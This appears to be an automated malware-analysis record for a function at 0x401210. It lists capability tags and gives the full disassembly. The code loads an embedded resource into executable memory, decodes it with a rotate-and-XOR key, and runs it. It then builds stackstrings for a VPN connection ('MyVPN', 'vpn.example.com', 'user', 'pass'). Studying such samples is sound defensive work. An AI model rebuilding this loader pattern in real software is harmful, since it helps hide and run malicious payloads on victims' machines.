Function at 0x401210
Capabilities:
Contain obfuscated stackstrings
Encode data using xor
Extract resource via kernel32 functions
Resolve function by parsing pe exports

Disassembly:
push ebp
push ebx
push edi
push esi
sub esp, 0xe14
mov esi, dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
push 0
call esi
mov edi, eax
push str.Kernel32.dll
call esi
push str.VirtualAlloc
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov esi, eax
push 0xa
push 0x2af
push edi
call dword [sym.imp.KERNEL32.dll_FindResourceW]
test eax, eax
je 0x40174d
mov ebx, eax
push eax
push edi
call dword [sym.imp.KERNEL32.dll_LoadResource]
mov ebp, eax
push ebx
push edi
call dword [sym.imp.KERNEL32.dll_SizeofResource]
test ebp, ebp
je 0x40174d
mov ebx, eax
push ebp
call dword [sym.imp.KERNEL32.dll_LockResource]
mov edi, eax
push 0x40
push 0x1000
push ebx
push 0
call esi
mov dword [esp], eax
test eax, eax
je 0x40174d
push ebx
push edi
push eax
call fcn.00408080
add esp, 0xc
test ebx, ebx
je 0x40135a
xor esi, esi
mov ecx, 0
mov dword [esp + 0x10], ebx
cmp ebx, 1
je 0x401340
mov eax, dword [esp + 0x10]
and eax, 0xfffffffe
mov dword [esp + 0x14], eax
xor esi, esi
xor ebp, ebp
nop word cs:[eax + eax]
mov eax, dword [esp]
movzx ecx, byte [eax + esi]
rol cl, 5
xor cl, byte [ebp + str.xwguwlhrprxyl]
mov byte [eax + esi], cl
lea ecx, [ebp + 1]
mov eax, ecx
mov edx, 0x4ec4ec4f
imul edx
mov eax, edx
shr eax, 0x1f
sar edx, 2
add edx, eax
lea eax, [edx + edx*2]
lea eax, [edx + eax*4]
sub ecx, eax
mov edi, dword [esp]
movzx ebx, byte [edi + esi + 1]
rol bl, 5
neg eax
xor bl, byte [ebp + eax + 0x420339]
inc ecx
mov eax, ecx
mov edx, 0x4ec4ec4f
imul edx
mov byte [edi + esi + 1], bl
mov eax, edx
shr eax, 0x1f
sar edx, 2
add edx, eax
lea eax, [edx + edx*2]
lea eax, [edx + eax*4]
sub ecx, eax
add esi, 2
mov ebp, ecx
cmp dword [esp + 0x14], esi
jne 0x4012d0
test byte [esp + 0x10], 1
je 0x40135a
mov eax, dword [esp]
movzx edx, byte [eax + esi]
rol dl, 5
xor dl, byte [ecx + str.xwguwlhrprxyl]
mov byte [eax + esi], dl
mov eax, dword [esp]
call eax
mov dword [esp + 4], 0
mov dword [esp + 8], 0
mov dword [esp + 0xc], 0
lea eax, [esp + 4]
push eax
call section..text
mov edi, dword [esp + 4]
mov ebp, dword [esp + 8]
jmp 0x4013a5
movsx eax, bl
mov ecx, esi
push eax
call fcn.00402840
mov ecx, esi
call fcn.00401db0
add edi, 0x18
cmp edi, ebp
je 0x401414
cmp dword [edi + 0x14], 0x10
mov eax, edi
jb 0x4013b3
mov eax, dword [edi]
push dword [edi + 0x10]
push eax
push 0x427000
call fcn.00401bb0
mov esi, eax
mov eax, dword [eax]
mov eax, dword [eax + 4]
mov eax, dword [esi + eax + 0x30]
mov ecx, dword [eax + 4]
mov dword [esp + 0x80], ecx
mov eax, dword [ecx]
call dword [eax + 4]
lea eax, [esp + 0x7c]
push eax
call fcn.00402960
add esp, 4
mov edx, dword [eax]
mov ecx, eax
push 0xa
call dword [edx + 0x20]
mov ebx, eax
mov ecx, dword [esp + 0x80]
test ecx, ecx
je 0x401390
mov eax, dword [ecx]
call dword [eax + 8]
test eax, eax
je 0x401390
mov edx, dword [eax]
mov ecx, eax
push 1
call dword [edx]
jmp 0x401390
mov dword [esp + 0x2c], 5
mov dword [esp + 0x30], 0xf
movaps xmm0, xmmword [str.MyVP]
movups xmmword [esp + 0x1c], xmm0
mov byte [esp + 0x20], 0x4e
mov dword [esp + 0x44], 0xf
mov dword [esp + 0x48], 0xf
mov dword [esp + 0x34], 0x2e6e7076
mov dword [esp + 0x38], 0x6d617865
mov dword [esp + 0x3c], 0x2e656c70
mov dword [esp + 0x3f], 0x6d6f632e
mov byte [esp + 0x43], 0
mov dword [esp + 0x74], 4
mov dword [esp + 0x78], 0xf
movaps xmm0, xmmword [str.user]
movups xmmword [esp + 0x64], xmm0
mov dword [esp + 0x5c], 4
mov dword [esp + 0x60], 0xf
movaps xmm0, xmmword [str.pass]
movups xmmword [esp + 0x4c], xmm0
lea eax, [esp + 0x84]
push 0xd90
push 0
push eax
call fcn.00408600
add esp, 0xc
mov dword [esp + 0x7c], 0xd98
mov dword [esp + 0x80], 0x13
mov dword [esp + 0x138], 1
mov dword [esp + 0x8a0], 1
lea eax, [esp + 0x97]
lea ecx, [esp + 0x34]
push ecx
push 0x81
push eax
call fcn.0040d4ba
add esp, 0xc
cmp dword [esp + 0x30], 0x10
lea edi, [esp + 0x1c]
mov eax, edi
jb 0x40150d
mov eax, dword [esp + 0x1c]
lea esi, [esp + 0x7c]
push 0
push 0
push 0x1a44
push esi
push eax
push 0
call pe_dos_header
lea ebx, [esp + 0x80]
push 0x428
push 0
push ebx
call fcn.00408600
add esp, 0xc
mov dword [esp + 0x7c], 0x840
cmp dword [esp + 0x30], 0x10
jb 0x40154d
mov edi, dword [esp + 0x1c]
push edi
push 0x101
push ebx
call fcn.0040d4ba
add esp, 0xc
cmp dword [esp + 0x78], 0x10
jb 0x401569
mov eax, dword [esp + 0x64]
jmp 0x40156d
lea eax, [esp + 0x64]
lea ecx, [esp + 0x283]
push eax
push 0x101
push ecx
call fcn.0040d4ba
add esp, 0xc
cmp dword [esp + 0x60], 0x10
jb 0x401590
mov eax, dword [esp + 0x4c]
jmp 0x401594
lea eax, [esp + 0x4c]
lea ecx, [esp + 0x384]
push eax
push 0x101
push ecx
call fcn.0040d4ba
add esp, 0xc
mov dword [esp + 0x18], 0
lea eax, [esp + 0x18]
push eax
push 0
push 0
push esi
push 0
push 0
call pe_dos_header
push 0
call pe_dos_header
mov eax, dword [esp + 0x60]
cmp eax, 0x10
jb 0x401606
mov ecx, dword [esp + 0x4c]
lea esi, [eax + 1]
cmp esi, 0x1000
jb 0x4015fc
mov edx, dword [ecx - 4]
add ecx, 0xfffffffc
sub ecx, edx
cmp ecx, 0x20
jae 0x40171b
add eax, 0x24
mov esi, eax
mov ecx, edx
push esi
push ecx
call fcn.00402f11
add esp, 8
mov eax, dword [esp + 0x78]
cmp eax, 0x10
jb 0x401640
mov ecx, dword [esp + 0x64]
lea esi, [eax + 1]
cmp esi, 0x1000
jb 0x401636
mov edx, dword [ecx - 4]
add ecx, 0xfffffffc
sub ecx, edx
cmp ecx, 0x20
jae 0x40171b
add eax, 0x24
mov esi, eax
mov ecx, edx
push esi
push ecx
call fcn.00402f11
add esp, 8
mov eax, dword [esp + 0x48]
cmp eax, 0x10
jb 0x40167a
mov ecx, dword [esp + 0x34]
lea esi, [eax + 1]
cmp esi, 0x1000
jb 0x401670
mov edx, dword [ecx - 4]
add ecx, 0xfffffffc
sub ecx, edx
cmp ecx, 0x20
jae 0x40171b
add eax, 0x24
mov esi, eax
mov ecx, edx
push esi
push ecx
call fcn.00402f11
add esp, 8
mov eax, dword [esp + 0x30]
cmp eax, 0x10
jb 0x4016b0
mov ecx, dword [esp + 0x1c]
lea esi, [eax + 1]
cmp esi, 0x1000
jb 0x4016a6
mov edx, dword [ecx - 4]
add ecx, 0xfffffffc
sub ecx, edx
cmp ecx, 0x20
jae 0x40171b
add eax, 0x24
mov esi, eax
mov ecx, edx
push esi
push ecx
call fcn.00402f11
add esp, 8
mov esi, dword [esp + 4]
test esi, esi
je 0x40174d
mov edi, dword [esp + 8]
cmp esi, edi
jne 0x4016f9
jmp 0x401724
add eax, 0x24
mov ebx, eax
mov ecx, edx
push ebx
push ecx
call fcn.00402f11
add esp, 8
mov dword [esi + 0x10], 0
mov dword [esi + 0x14], 0xf
mov byte [esi], 0
add esi, 0x18
cmp esi, edi
je 0x401720
mov eax, dword [esi + 0x14]
cmp eax, 0x10
jb 0x4016e1
mov ecx, dword [esi]
lea ebx, [eax + 1]
cmp ebx, 0x1000
jb 0x4016d7
mov edx, dword [ecx - 4]
add ecx, 0xfffffffc
sub ecx, edx
cmp ecx, 0x20
jb 0x4016d0
call fcn.0040baf7
mov esi, dword [esp + 4]
mov eax, dword [esp + 0xc]
sub eax, esi
cmp eax, 0x1000
jb 0x401743
mov ecx, dword [esi - 4]
add esi, 0xfffffffc
sub esi, ecx
cmp esi, 0x20
jae 0x40171b
add eax, 0x23
mov esi, ecx
push eax
push esi
call fcn.00402f11
add esp, 8
xor eax, eax
add esp, 0xe14
pop esi
pop edi
pop ebx
pop ebp
ret 0x10